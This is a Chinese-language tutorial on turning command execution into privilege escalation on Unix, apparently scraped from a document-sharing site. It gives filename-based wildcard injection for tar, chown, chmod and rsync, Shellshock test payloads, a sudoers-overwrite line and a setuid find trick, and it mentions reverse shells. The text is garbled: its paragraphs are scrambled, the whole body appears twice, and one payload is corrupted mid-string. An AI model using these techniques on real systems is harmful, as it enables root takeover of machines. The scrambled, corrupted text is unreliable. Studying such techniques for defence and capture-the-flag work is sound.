命令执行到提权
合集下载
相关主题
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
可见,/usr/bin/id已经被成功执行输出。
与之前一样,--checkpoint=1与--checkpoint-action=exec=sh shell.sh被作为选项处理
在 2018 SWPUCTF 上有一道 web 题考点也正是利用了这个点,由于题目官方没有开源,
这里给一个比较详细的 @一叶飘零 师傅写的 wp 用于参考学习: 2018SWPUCTF-Web#信
Example 2
如图,我们有两个文件,当用rm *的时候,只删掉了file1与file2,并没有删除*
或者使用rm file1 file2 -rf逐个删除之时,也只删掉了file1与file2 使用strace rm *我们可以发现
由于当前目录中存在-rf文件名,rm将-rf选项作为最后一个参数,并且递归删除当前目录中 的所有文件。同样,若要删除可以加上./-rf进行删除
然后使用root用户使用chown -R test:test *.php命令,想把本目录下所有的.php文件修改 为test用户所有。
但是结果我们可以发现,结果该目录下所有的.php文件都被修改为了zedd用户所有,成 功“提权”。 原理我们可以用strace chown -R zedd:zedd *.php来看一下(注意这里换了一下,模拟想 把.php文件改变成zedd用户所有)
题目设置为几个功能,一个man命令的帮助文档
选择了ls,多了个请求参数file=ls
尝试用其他命令,比如find
猜测eval("man /bin/" + command)或者一些其他的目录 Tar Tester界面可以上传压缩包但是并没有解压,只是tar -tvf test.tar查看压缩包内的 内容
所以,按照这种方法,我们可以劫持root将文件的所有权更改为任意用户,并“劫持”我们 想要的文件。
Chmod File Reference
类似chown的还有一个命令chmod,它也有--reference=RFIE的选项 --reference=RFILE use RFILE's mode instead of MODE values
与chown类似,因为有--reference=.backdoor.php的存在,在使用chmod 000 *的时候也会 把劫持到与.backdoor.php文件权限一样的权限
Tar命令利用
首先我们来看看tar命令帮助文档中的几个有意思的选项 --checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10) --checkpoint-action=ACTION
CVE-2014-6271 测试方式: env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
CVE-2014-7169 测试方式:(CVE-2014-6271补丁更新后仍然可以绕过) env -i X=';() { (a)=>\' bash -c 'echo date'; catBaidu Nhomakorabeaecho
文章中讨论的技术可以以不同的形式在各种流行的Unix工具上应用,这里仅仅是抛砖引 玉,列举一部分命令。 在实际攻击中,任意 shell 选项/参数都可以隐藏在常规文件中,管 理员也不容易发现,比如使用.backdoor.php等形式。
Other
这里讲讲几个虽然不属于提权,但是也比较有意思的几个点。
Echo
Trick
我们可以利用Wildcard Wilderness做一些更有用的事情。
File Owner Hijacking
现在我们有三个用户,一个zedd,一个test,一个root用户。 我们分别用zedd与test创建了不同的文件,1.php与test.php都属于test用户的文件, zedd.php与--reference=zedd.php均属于zedd用户的文件。
提权
这里我们讲讲在命令注入中更有意思的一种方法。
Wildcard Wilderness
Example 1
首先我们先看一个示例 echo "Hello Friends" > file1 echo "This is wildcard Injection" >file2 echo "take help" > --help
息再次发掘
rsync命令利用
rsync命令可能比较少用,我们这里简单介绍一下
NAME
rsync - a fast, versatile, remote (and local) file-copying tool
rsync命令是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。使用
一个远程shell程序(如rsh、ssh)来实现将本地机器的内容拷贝到远程机器。如:rsync -t
tar命令比较多的都用在/etc/crontab计划任务中,经常会有管理员会用crontab 来执行一些tar命令的备份操作,而且crontab执行的权限还是root权限,所以这是个 很好利用的点
tar命令需要进入到--checkpoint=1文件所在的目录内,如果加上绝对路径将会 失效,例如tar cf test.tar /var/www/html/*
这个软链接读取文件内容已经被多次利用 在 GitLab CVE-2016-9086 也是利用了这点,参考GitLab 任意文件读取漏洞
(CVE-2016-9086) 和任意用户 token 泄露漏洞 CTF 中也出现了类似的题目,参考一个有趣的任意文件读取,以及在 2018 年赛
博地球杯上有一道题也是利用这个点,参考记录一道题的多种解法,“赛博地球 杯”工业互联网安全大赛线上赛Writeup
*.c foo:src,复制当前本地文件夹下的所有的.c文件到 foo 远程服务器的/src文件夹下。
rsync帮助文档含有以下几个比较有意思的选项
-e, --rsh=COMMAND
specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
ShellShock(CVE-2014-6271)
Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函 数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执 行任意的 shell 命令,甚至完全控制目标系统,详细分析参考破壳(ShellShock)漏洞样本 分析报告
得到的output文件是 644 的权限,这样我们就成功构造了一个提权读取的文件的 payload ,这里可能需要注意的是,只能提取到执行rsync用户的权限,不是直接的root权限,这里 因为执行命令的是root权限,所以能读取只有root用户才能读取的rootfile文件
Tips
既然能执行命令,其实我们可以参照上篇列举的反弹 shell 的方式将 shell 反弹 给我们,也可以配合msfvenom来使用。
execute ACTION on each checkpoint 从帮助文档,我们大致可以从中理解到,--checkpoint=1可以用来显示信息,-checkpoint-action=exec=sh shell.sh可以用来执行命令 先尝试构建一个shell.sh脚本,内容为/usr/bin/id,以及文件名为--checkpoint=1与-checkpoint-action=exec=sh shell.sh的文件,使用tar -cf test.tar *把当前目录下所有 文件压缩到test.tar压缩包内
echo *可以用来显示目录,echo /???g可以用来探测文件
ln
NAME ln - make links between files ln命令常常用于链接两个文件,而且分两种链接模式,一种硬链接一种软链接,详细可以参 考理解Linux硬链接与软链接。这里主要讲讲软链接,软链接相当于我们 Windows 中的快 捷方式,可以使用ln -s创建 例如,这里我们根目录下有一个文件内容为flag{xxx}的名为flag文件,我们使用ln -s /flag file,在当前目录下创建一个file文件链接到/flag,使用cat file与php -r "echo file_get_contents('file')"均可以读取到/flag的内容。
从一道题看Shell Shock
题目地址:command-executor——来源于 HackMe
题目描述: Here's my useless developer assistant website, try to execute your own command!
题目大体思路是: 读取源码 Shell Shock命令执行 重定向读写文件
以及还有--all选项。
其实讲道理,词法分析把对诸如--help、--all等选项优先处理为内置选项输出,看起来并 没有任何问题 这个技巧叫做Wildcard wildness,中文有人译为通配符在野。(-all、--help可以通过加 入./成./-all、./--help来特指这个文件,避免这个问题)
我们可以看到 execve("/bin/chown", ["chown", "-R", "zedd:zedd", "config.php", "index.php", "-reference=.backdoor.php"], 0x7ffe5b43b1e8 /* 35 vars */) = 0 跟我们上个例子原理其实一样,--reference=.backdoor.php被作为一个选项进行了处理, 而
--rsh=COMMAND又是一个我们可以利用的地方,我们首先创建一个文件名为-e sh shell.c的 文件,然后再创建一个shell.c文件,污染rsync参数来实现执行我们在shell.c中写入的预 期命令 假设当前目录下我们拥有一个只有root用户可读的rootfile文件,由于不能直接输出结果, 我们可以构造cat ./rootfile > ./output,将文件内容读出。
--reference=RFILE use RFILE's owner and group rather than specifying OWNER:GROUP values
--reference=RFILE这个选项则是使用RFILE的文件拥有者和用户组来改变文件属性,而不是 使用传入的OWNER:GROUP参数。 因此,在这种情况下,chown的--reference选项将覆盖指定为root用户输入的参数 zedd:zedd,把此目录中所有.php文件的所有者改变与.backdoor.php的所有者test。
首先创建几个文件,其中有一个是--help,然后使用cat命令读取文件内容 cat file1 cat file 2 cat --help
如果按照我们预期的,是不是在第三个cat --help处应该是要读取—help文件的内容呢?然 而我们执行cat —help却优先执行了cat命令的帮助选项,并没有读出—help里的内容。 不仅是cat,ls等命令也会优先调用内置--help选项。
之前在补天平台首发了巧用命令注入的N种方式,看到了有几个师傅衍生出了不同的几个后 续版本,都感觉挺不错的,对我的版本进行了一些补充。本来这个总结应该算是前半部分, 想写的还没写完,当时又是在考试周,原本想在考试结束后就来写后半部分,又因为各种事 给推掉了。所以现在来写后半部分提升篇,也算是对前半部分的补充与解释。
我们可以看到 shell 处理方式将/home/zedd/Desktop/test与目录下的文件名逐个拼接起 来,就达不到污染参数的效果了
还可以用echo "zedd ALL=(root) NOPASSWD: ALL" > /etc/sudoers,把自己直 接写入管理员组
利用chmod u+s /usr/bin/find提升为root权限执行,配合find命令的-exec COMMAND来执行命令,例如find f1 -exec "whoami" \;
与之前一样,--checkpoint=1与--checkpoint-action=exec=sh shell.sh被作为选项处理
在 2018 SWPUCTF 上有一道 web 题考点也正是利用了这个点,由于题目官方没有开源,
这里给一个比较详细的 @一叶飘零 师傅写的 wp 用于参考学习: 2018SWPUCTF-Web#信
Example 2
如图,我们有两个文件,当用rm *的时候,只删掉了file1与file2,并没有删除*
或者使用rm file1 file2 -rf逐个删除之时,也只删掉了file1与file2 使用strace rm *我们可以发现
由于当前目录中存在-rf文件名,rm将-rf选项作为最后一个参数,并且递归删除当前目录中 的所有文件。同样,若要删除可以加上./-rf进行删除
然后使用root用户使用chown -R test:test *.php命令,想把本目录下所有的.php文件修改 为test用户所有。
但是结果我们可以发现,结果该目录下所有的.php文件都被修改为了zedd用户所有,成 功“提权”。 原理我们可以用strace chown -R zedd:zedd *.php来看一下(注意这里换了一下,模拟想 把.php文件改变成zedd用户所有)
题目设置为几个功能,一个man命令的帮助文档
选择了ls,多了个请求参数file=ls
尝试用其他命令,比如find
猜测eval("man /bin/" + command)或者一些其他的目录 Tar Tester界面可以上传压缩包但是并没有解压,只是tar -tvf test.tar查看压缩包内的 内容
所以,按照这种方法,我们可以劫持root将文件的所有权更改为任意用户,并“劫持”我们 想要的文件。
Chmod File Reference
类似chown的还有一个命令chmod,它也有--reference=RFIE的选项 --reference=RFILE use RFILE's mode instead of MODE values
与chown类似,因为有--reference=.backdoor.php的存在,在使用chmod 000 *的时候也会 把劫持到与.backdoor.php文件权限一样的权限
Tar命令利用
首先我们来看看tar命令帮助文档中的几个有意思的选项 --checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10) --checkpoint-action=ACTION
CVE-2014-6271 测试方式: env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
CVE-2014-7169 测试方式:(CVE-2014-6271补丁更新后仍然可以绕过) env -i X=';() { (a)=>\' bash -c 'echo date'; catBaidu Nhomakorabeaecho
文章中讨论的技术可以以不同的形式在各种流行的Unix工具上应用,这里仅仅是抛砖引 玉,列举一部分命令。 在实际攻击中,任意 shell 选项/参数都可以隐藏在常规文件中,管 理员也不容易发现,比如使用.backdoor.php等形式。
Other
这里讲讲几个虽然不属于提权,但是也比较有意思的几个点。
Echo
Trick
我们可以利用Wildcard Wilderness做一些更有用的事情。
File Owner Hijacking
现在我们有三个用户,一个zedd,一个test,一个root用户。 我们分别用zedd与test创建了不同的文件,1.php与test.php都属于test用户的文件, zedd.php与--reference=zedd.php均属于zedd用户的文件。
提权
这里我们讲讲在命令注入中更有意思的一种方法。
Wildcard Wilderness
Example 1
首先我们先看一个示例 echo "Hello Friends" > file1 echo "This is wildcard Injection" >file2 echo "take help" > --help
息再次发掘
rsync命令利用
rsync命令可能比较少用,我们这里简单介绍一下
NAME
rsync - a fast, versatile, remote (and local) file-copying tool
rsync命令是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。使用
一个远程shell程序(如rsh、ssh)来实现将本地机器的内容拷贝到远程机器。如:rsync -t
tar命令比较多的都用在/etc/crontab计划任务中,经常会有管理员会用crontab 来执行一些tar命令的备份操作,而且crontab执行的权限还是root权限,所以这是个 很好利用的点
tar命令需要进入到--checkpoint=1文件所在的目录内,如果加上绝对路径将会 失效,例如tar cf test.tar /var/www/html/*
这个软链接读取文件内容已经被多次利用 在 GitLab CVE-2016-9086 也是利用了这点,参考GitLab 任意文件读取漏洞
(CVE-2016-9086) 和任意用户 token 泄露漏洞 CTF 中也出现了类似的题目,参考一个有趣的任意文件读取,以及在 2018 年赛
博地球杯上有一道题也是利用这个点,参考记录一道题的多种解法,“赛博地球 杯”工业互联网安全大赛线上赛Writeup
*.c foo:src,复制当前本地文件夹下的所有的.c文件到 foo 远程服务器的/src文件夹下。
rsync帮助文档含有以下几个比较有意思的选项
-e, --rsh=COMMAND
specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
ShellShock(CVE-2014-6271)
Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函 数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执 行任意的 shell 命令,甚至完全控制目标系统,详细分析参考破壳(ShellShock)漏洞样本 分析报告
得到的output文件是 644 的权限,这样我们就成功构造了一个提权读取的文件的 payload ,这里可能需要注意的是,只能提取到执行rsync用户的权限,不是直接的root权限,这里 因为执行命令的是root权限,所以能读取只有root用户才能读取的rootfile文件
Tips
既然能执行命令,其实我们可以参照上篇列举的反弹 shell 的方式将 shell 反弹 给我们,也可以配合msfvenom来使用。
execute ACTION on each checkpoint 从帮助文档,我们大致可以从中理解到,--checkpoint=1可以用来显示信息,-checkpoint-action=exec=sh shell.sh可以用来执行命令 先尝试构建一个shell.sh脚本,内容为/usr/bin/id,以及文件名为--checkpoint=1与-checkpoint-action=exec=sh shell.sh的文件,使用tar -cf test.tar *把当前目录下所有 文件压缩到test.tar压缩包内
echo *可以用来显示目录,echo /???g可以用来探测文件
ln
NAME ln - make links between files ln命令常常用于链接两个文件,而且分两种链接模式,一种硬链接一种软链接,详细可以参 考理解Linux硬链接与软链接。这里主要讲讲软链接,软链接相当于我们 Windows 中的快 捷方式,可以使用ln -s创建 例如,这里我们根目录下有一个文件内容为flag{xxx}的名为flag文件,我们使用ln -s /flag file,在当前目录下创建一个file文件链接到/flag,使用cat file与php -r "echo file_get_contents('file')"均可以读取到/flag的内容。
从一道题看Shell Shock
题目地址:command-executor——来源于 HackMe
题目描述: Here's my useless developer assistant website, try to execute your own command!
题目大体思路是: 读取源码 Shell Shock命令执行 重定向读写文件
以及还有--all选项。
其实讲道理,词法分析把对诸如--help、--all等选项优先处理为内置选项输出,看起来并 没有任何问题 这个技巧叫做Wildcard wildness,中文有人译为通配符在野。(-all、--help可以通过加 入./成./-all、./--help来特指这个文件,避免这个问题)
我们可以看到 execve("/bin/chown", ["chown", "-R", "zedd:zedd", "config.php", "index.php", "-reference=.backdoor.php"], 0x7ffe5b43b1e8 /* 35 vars */) = 0 跟我们上个例子原理其实一样,--reference=.backdoor.php被作为一个选项进行了处理, 而
--rsh=COMMAND又是一个我们可以利用的地方,我们首先创建一个文件名为-e sh shell.c的 文件,然后再创建一个shell.c文件,污染rsync参数来实现执行我们在shell.c中写入的预 期命令 假设当前目录下我们拥有一个只有root用户可读的rootfile文件,由于不能直接输出结果, 我们可以构造cat ./rootfile > ./output,将文件内容读出。
--reference=RFILE use RFILE's owner and group rather than specifying OWNER:GROUP values
--reference=RFILE这个选项则是使用RFILE的文件拥有者和用户组来改变文件属性,而不是 使用传入的OWNER:GROUP参数。 因此,在这种情况下,chown的--reference选项将覆盖指定为root用户输入的参数 zedd:zedd,把此目录中所有.php文件的所有者改变与.backdoor.php的所有者test。
首先创建几个文件,其中有一个是--help,然后使用cat命令读取文件内容 cat file1 cat file 2 cat --help
如果按照我们预期的,是不是在第三个cat --help处应该是要读取—help文件的内容呢?然 而我们执行cat —help却优先执行了cat命令的帮助选项,并没有读出—help里的内容。 不仅是cat,ls等命令也会优先调用内置--help选项。
之前在补天平台首发了巧用命令注入的N种方式,看到了有几个师傅衍生出了不同的几个后 续版本,都感觉挺不错的,对我的版本进行了一些补充。本来这个总结应该算是前半部分, 想写的还没写完,当时又是在考试周,原本想在考试结束后就来写后半部分,又因为各种事 给推掉了。所以现在来写后半部分提升篇,也算是对前半部分的补充与解释。
我们可以看到 shell 处理方式将/home/zedd/Desktop/test与目录下的文件名逐个拼接起 来,就达不到污染参数的效果了
还可以用echo "zedd ALL=(root) NOPASSWD: ALL" > /etc/sudoers,把自己直 接写入管理员组
利用chmod u+s /usr/bin/find提升为root权限执行,配合find命令的-exec COMMAND来执行命令,例如find f1 -exec "whoami" \;